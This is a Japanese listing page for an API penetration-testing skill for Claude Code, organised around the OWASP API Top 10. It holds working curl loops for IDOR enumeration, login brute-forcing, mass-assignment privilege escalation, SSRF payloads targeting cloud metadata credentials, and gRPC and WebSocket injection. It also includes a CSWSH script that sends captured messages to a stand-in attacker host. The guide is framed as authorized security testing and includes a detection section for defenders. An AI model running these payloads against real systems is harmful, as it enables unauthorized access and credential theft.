mcpField
O
offensive-api-security

offensive-api-security

github.com/snailsploitセキュリティ9.7k153 回インストール2 週間前に更新
リポジトリ

offensive-api-security について

offensive-api-securityは、REST、gRPC、WebSocketを対象とするAPIの認可済みセキュリティ評価ガイドです。OWASP API Security Top 10 2023に沿って、認可・認証・設定の問題を調べます。

主な機能

  1. 01REST、gRPC、WebSocketエンドポイントの把握
  2. 02BOLA、IDOR、機能レベル認可のテスト
  3. 03認証、トークン、データ露出の確認
  4. 04レート制限とリソース制御の評価
  5. 05SSRFとバージョン設定ミスのテスト
  6. 06gRPCとWebSocketのリスク分析

活用シーン

  1. 01APIアプリケーションの認可済みセキュリティ評価
  2. 02ユーザー間のオブジェクトアクセスとロール権限の確認
  3. 03レート制限、データ露出、SSRFリスクの調査
  4. 04gRPCおよびWebSocketインターフェースの安全性テスト

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-api-security

インストール後、Claude Code で/offensive-api-securityを入力して読み込まれたか確認します。

詳細

API セキュリティテスト(攻撃的テスト)

API 駆動型アプリケーションに対して、許可を得たセキュリティ評価を実施します。このスキルでは、OWASP API Security Top 10 2023 を重視し、REST、gRPC、WebSocket の攻撃対象領域を扱います。すべての手法は、書面による許可を取得し、対象範囲を定めていることを前提としています。目標は、API 層への攻撃を通じて、不正なデータアクセス、権限昇格、またはサービス妨害につながる脆弱性を特定することです。

クイックワークフロー

  1. API の対象範囲をマッピングします。OpenAPI/Swagger 仕様、gRPC リフレクションの出力、WebSocket エンドポイントを収集します。
  2. 認証方式を列挙します。API キー、OAuth フロー、JWT、セッショントークンを確認します。
  3. 認証済みコンテキスト間でオブジェクト識別子を入れ替え、BOLA/IDOR をテストします。
  4. 複数のロールと HTTP メソッドで BFLA チェックを行い、認可境界を調査します。
  5. パラメーターをファジングし、マスアサインメント、Content-Type の切り替え、HTTP メソッドの改ざんをテストします。
  6. レート制限とリソース消費の制御を評価します。
  7. gRPC 固有の攻撃ベクトルをテストします。リフレクションによる列挙、メタデータの挿入、Protocol Buffers の改ざんを確認します。
  8. WebSocket のセキュリティを評価します。オリジンの検証、メッセージの完全性、CSWSH を確認します。
  9. URL を受け取るパラメーターや webhook の設定を通じた SSRF を確認します。
  10. 再現手順と重大度評価を添えて、検出事項を記録します。

OWASP API Top 10 2023 -- BOLA と IDOR

Broken Object Level Authorization(BOLA)は、API で最もよく見られる脆弱性です。オブジェクト識別子を含む正規のリクエストを取得し、別のユーザーやテナントに属する識別子に置き換えて再送することでテストします。

GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com

元のトークンを保持したまま、別のユーザー ID で再送します。

GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com

連番および UUID ベースの識別子を使った IDOR テストを自動化します。

# Sequential ID enumeration
for id in $(seq 1000 1050); do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN_A" \
    "https://target.example.com/api/v1/users/${id}/orders")
  echo "ID: ${id} -> HTTP ${status}"
done
# Test with collected UUIDs from other endpoints
while read -r uuid; do
  resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
    "https://target.example.com/api/v1/documents/${uuid}")
  echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
done < collected_uuids.txt

HTTP メソッドを変えてテストします。あるエンドポイントでは GET に対して認可を強制していても、PUT や DELETE に対しては強制していない場合があります。

for method in GET PUT PATCH DELETE; do
  curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
    -X "${method}" \
    -H "Authorization: Bearer $TOKEN_A" \
    -H "Content-Type: application/json" \
    -d '{"status":"cancelled"}' \
    "https://target.example.com/api/v1/users/1002/orders/5001"
done

認証の不備と過剰なデータ露出

認証エンドポイントをテストし、クレデンシャルスタッフィングへの耐性、トークンのライフサイクルに関する弱点、API レスポンス内の情報漏えいを確認します。

# Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d "{\"email\":\"[email protected]\",\"password\":\"attempt${i}\"}" \
    "https://target.example.com/api/v1/auth/login")
  echo "Attempt ${i}: HTTP ${code}"
  [ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
done

API の完全なレスポンスと UI に表示される内容を比較し、過剰なデータ露出がないか確認します。内部 ID、他のユーザーのメールアドレス、ハッシュ化されたパスワード、ロールの割り当て、またはクライアントに表示されない個人識別情報を探します。

curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users/me" | jq .

トークン検証の弱点をテストします。

# Expired token, post-password-change token, malformed bearer values
curl -s -o /dev/null -w "Expired: %{http_code}\n" \
  -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/v1/users/me"

curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
  -H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
  "https://target.example.com/api/v1/users/me"

for val in "" "null" "undefined" "Bearer" "Bearer "; do
  curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
    -H "Authorization: ${val}" \
    "https://target.example.com/api/v1/users/me"
done

レート制限とリソース消費

リクエスト頻度、ペイロードサイズ、レスポンスのページネーションに API が制限を適用しているかを評価し、無制限のリソース消費(API4:2023)をテストします。

# Measure rate limit headers across rapid requests
for i in $(seq 1 50); do
  curl -s -D - -o /dev/null \
    -H "Authorization: Bearer $TOKEN" \
    "https://target.example.com/api/v1/search?q=test" 2>&1 | \
    grep -iE "x-rate|retry-after|x-ratelimit"
  sleep 0.1
done
# Pagination abuse and large payload submission
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'

python3 -c "
import json, sys
payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}
sys.stdout.write(json.dumps(payload))
" | curl -s -o /dev/null -w "Large payload: %{http_code}\n" \
  -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -d @- \
  "https://target.example.com/api/v1/products"

BFLA とマスアサインメント

Broken Function Level Authorization(BFLA)は、低権限ユーザーが管理用 API 関数を呼び出せる場合に発生します。マスアサインメント攻撃は、API がクライアント提供のデータを内部オブジェクトのプロパティに直接バインドする場合に発生します。

# BFLA: Test admin endpoints with regular user token
admin_endpoints=(
  "GET /api/v1/admin/users"
  "POST /api/v1/admin/users"
  "DELETE /api/v1/admin/users/1001"
  "GET /api/v1/admin/config"
  "PUT /api/v1/admin/config"
  "GET /api/v1/internal/metrics"
)

for ep in "${admin_endpoints[@]}"; do
  method=$(echo "$ep" | cut -d' ' -f1)
  path=$(echo "$ep" | cut -d' ' -f2)
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
    "https://target.example.com${path}")
  echo "${method} ${path} -> HTTP ${code}"
done
# Mass assignment: inject properties that should not be user-controllable
curl -s -X PUT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Updated Name",
    "role": "admin",
    "is_admin": true,
    "permissions": ["admin", "superuser"],
    "account_type": "premium",
    "credit_balance": 99999
  }' \
  "https://target.example.com/api/v1/users/me" | jq .

REST の HTTP メソッド改ざんと Content-Type の切り替え

API によっては、想定された HTTP メソッドまたはコンテンツタイプに対してのみセキュリティ制御を適用する場合があります。想定外のメソッドでリクエストを送信したり、シリアライズ形式を切り替えたりして、これを悪用します。

# Verb tampering: test all methods against a restricted endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" -H "Authorization: Bearer $TOKEN" \
    "https://target.example.com/api/v1/admin/settings")
  echo "${method} -> HTTP ${code}"
done
# Method override headers -- bypass method-based WAF rules
curl -s -X POST \
  -H "X-HTTP-Method-Override: DELETE" \
  -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users/1002"

curl -s -X POST \
  -H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin"}' \
  "https://target.example.com/api/v1/users/me"
# Content-type switching and parameter pollution
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=test&role=admin" \
  "https://target.example.com/api/v1/users"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>' \
  "https://target.example.com/api/v1/users"

# Parameter pollution via duplicate keys
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"

API パラメーターを介した SSRF

URL を受け取る API パラメーターを介したサーバーサイドリクエストフォージェリにより、内部サービスやクラウドのメタデータエンドポイントにアクセスできる可能性があります。

ssrf_payloads=(
  "http://169.254.169.254/latest/meta-data/"
  "http://metadata.google.internal/computeMetadata/v1/"
  "http://127.0.0.1:8080/admin"
  "http://[::1]:8080/"
  "http://0x7f000001/"
  "http://internal-service.local/"
)

for payload in "${ssrf_payloads[@]}"; do
  echo "--- Testing: ${payload}"
  curl -s -X POST -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"webhook_url\": \"${payload}\"}" \
    "https://target.example.com/api/v1/integrations/webhook" | head -c 500
  echo
done

インポート/エクスポート機能やプロフィール機能を介した SSRF をテストします。

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://169.254.169.254/latest/user-data"}' \
  "https://target.example.com/api/v1/data/import"

curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/v1/users/me/profile"

gRPC セキュリティテスト

gRPC サービスは REST とは異なる攻撃対象領域を持ちます。リフレクションでサービスを列挙し、grpcurl でリクエストを作成し、mitmproxy で Protocol Buffers のトラフィックを傍受します。

# Enumerate services via gRPC reflection
grpcurl -plaintext target.example.com:50051 list
grpcurl -plaintext target.example.com:50051 describe myapp.UserService
grpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser
# Test BOLA on gRPC -- access another user's data with your token
grpcurl -plaintext \
  -H "authorization: Bearer $TOKEN_A" \
  -d '{"user_id": "1002"}' \
  target.example.com:50051 myapp.UserService/GetUser

# Test admin methods with regular user credentials
grpcurl -plaintext \
  -H "authorization: Bearer $REGULAR_TOKEN" \
  -d '{}' \
  target.example.com:50051 myapp.AdminService/ListAllUsers

メタデータの挿入 — gRPC のメタデータヘッダーは、HTTP ヘッダーと同様に悪用される可能性があります。

grpcurl -plaintext \
  -H "authorization: Bearer $TOKEN" \
  -H "x-forwarded-for: 127.0.0.1" \
  -H "x-internal-service: true" \
  -H "x-user-role: admin" \
  -d '{}' \
  target.example.com:50051 myapp.AdminService/GetConfig

mitmproxy で gRPC トラフィックを傍受して変更します。

# mitmproxy addon for gRPC inspection (save as grpc_inspector.py)
# Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051
from mitmproxy import http

class GrpcInspector:
    def request(self, flow: http.HTTPFlow):
        if flow.request.headers.get("content-type", "").startswith("application/grpc"):
            print(f"[gRPC] {flow.request.method} {flow.request.path}")
            for k, v in flow.request.headers.items():
                if not k.startswith(":"):
                    print(f"  Metadata: {k}: {v}")

    def response(self, flow: http.HTTPFlow):
        if flow.response and "grpc-status" in flow.response.headers:
            print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")

addons = [GrpcInspector()]

WebSocket セキュリティテスト

WebSocket 接続は、従来の多くの HTTP セキュリティ制御を回避します。オリジン検証、メッセージインジェクション、認証の持続性、クロスサイト WebSocket ハイジャックをテストします。

# Origin validation testing with websocat
websocat -H "Origin: https://evil.example.com" "wss://target.example.com/ws/chat"
websocat "wss://target.example.com/ws/chat"  # no origin
websocat -H "Origin: https://subdomain.target.example.com" "wss://target.example.com/ws/chat"
#!/usr/bin/env python3
"""WebSocket message fuzzing and injection testing."""
import asyncio, websockets, json

async def test_ws_injection(url, token):
    headers = {"Cookie": f"session={token}"}
    async with websockets.connect(url, extra_headers=headers) as ws:
        test_payloads = [
            json.dumps({"type": "message", "content": "hello"}),
            json.dumps({"type": "message", "content": "hello", "user_id": "1002"}),
            json.dumps({"type": "admin_broadcast", "content": "injected"}),
            json.dumps({"type": "subscribe", "channel": "../admin/notifications"}),
            json.dumps({"type": "message", "content": "A" * 1000000}),
        ]
        for payload in test_payloads:
            await ws.send(payload)
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=3)
                print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")
            except asyncio.TimeoutError:
                print(f"Sent: {payload[:80]} -> No response\n---")

asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))

クロスサイト WebSocket ハイジャック(CSWSH)の検証:


<script>
  var ws = new WebSocket("wss://target.example.com/ws/chat");
  ws.onopen = function() {
    console.log("[CSWSH] Connection opened -- origin validation missing");
    ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));
  };
  ws.onmessage = function(evt) {
    console.log("[CSWSH] Received: " + evt.data);
    fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});
  };
  ws.onerror = function(e) {
    console.log("[CSWSH] Connection failed -- origin may be validated");
  };
</script>

API のバージョニングとセキュリティ設定の不備

複数のバージョンを維持する API では、セキュリティ制御に一貫性がないことがよくあります。非推奨のバージョンには、現行バージョンに適用されたパッチが適用されていない場合があります。

# Enumerate API versions
versions=("v1" "v2" "v3" "v0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")
for ver in "${versions[@]}"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN" \
    "https://target.example.com/api/${ver}/users/me")
  [ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}"
done
# Check for exposed documentation and debug endpoints
endpoints=(
  "/swagger.json" "/swagger-ui/" "/openapi.json" "/api-docs"
  "/graphql" "/graphiql" "/.well-known/openid-configuration"
  "/actuator" "/actuator/env" "/actuator/health"
  "/debug" "/trace" "/metrics" "/_profiler"
)
for ep in "${endpoints[@]}"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com${ep}")
  [ "$code" != "404" ] && [ "$code" != "000" ] && echo "${ep} -> HTTP ${code}"
done
# CORS misconfiguration testing
curl -s -D - -o /dev/null \
  -H "Origin: https://evil.example.com" -X OPTIONS \
  "https://target.example.com/api/v1/users/me" 2>&1 | \
  grep -iE "access-control|allow-origin|allow-credentials"

curl -s -D - -o /dev/null -H "Origin: null" \
  "https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"

# Security header audit
curl -s -D - -o /dev/null "https://target.example.com/api/v1/health" 2>&1 | \
  grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"

検出/防御側の視点

これらのテストを実行すると、防御担当者や監視システムが検出できる痕跡が残ります。

  • BOLA/IDOR プローブでは、単一のセッションから、連番またはランダムなオブジェクト ID を使った一連のリクエストが生成されます。API ゲートウェイは、オブジェクト識別子にまたがる通常とは異なるアクセスパターンをログに記録します。異常検知では、通常のスコープ外のリソースにアクセスするアカウントにフラグが付けられます。

  • レート制限テストでは、アクセスログで確認できるバーストトラフィックが発生します。HTTP 429 応答は SIEM アラートを作動させます。認証の失敗が繰り返されると、アカウントロックアウト機構が作動します。

  • 動詞の改ざんとメソッドオーバーライドでは、通常とは異なる HTTP メソッドやオーバーライドヘッダーを使ったリクエストがアクセスログ上で目立ちます。セキュリティを重視するアプリケーションでは、メソッドオーバーライドヘッダーの使用時にアラートが発生します。

  • gRPC リフレクションの列挙はインターセプターによってログに記録されます。開発環境以外の IP からリフレクションサービスが呼び出されると、アラートが発生します。メタデータインジェクションの試行は、gRPC アクセスログに記録されます。

  • WebSocket テストでは、ロードバランサーにログ記録される、通常とは異なる Origin ヘッダーを使った接続試行が発生します。CSWSH の試行によって、CSP 違反レポートが発生する場合があります。

  • SSRF ペイロードに内部 IP アドレスやメタデータ URL が含まれていると、WAF によってフラグが付けられます。予期しない宛先へのアウトバウンド接続は、ネットワーク監視アラートを作動させます。

  • バージョンのプロービングでは、単一の送信元 IP から複数のパスプレフィックスに対して 404 が連続して発生します。


エンゲージメント用チートシート

フェーズアクションツール
偵察API 仕様を収集するBurp クローラー、Swagger エンドポイント
偵察gRPC サービスを列挙するリフレクションを使用する grpcurl
偵察WebSocket エンドポイントを特定するBurp Suite、DevTools
認証トークンのライフサイクルをテストするcurl、Burp Repeater
認可オブジェクト間で BOLA/IDOR をテストするcurl のループ、Burp Intruder
認可ロール間で BFLA をテストする複数のトークンを使った curl
入力処理マスアサインメントcurl、Postman
入力処理コンテンツタイプの切り替えさまざまなヘッダーを使った curl
プロトコルgRPC メタデータインジェクションgrpcurl
プロトコルgRPC protobuf のインターセプトアドオンを使った mitmproxy
プロトコルWebSocket インジェクションwebsocat、Python websockets
プロトコルCSWSH の検証カスタム HTML テストページ
インフラストラクチャURL パラメーター経由の SSRFcurl、Burp Collaborator
インフラストラクチャAPI バージョニングのバイパスcurl によるバージョンの列挙
インフラストラクチャ設定不備のスキャンcurl、Burp スキャナー

参考資料

コメント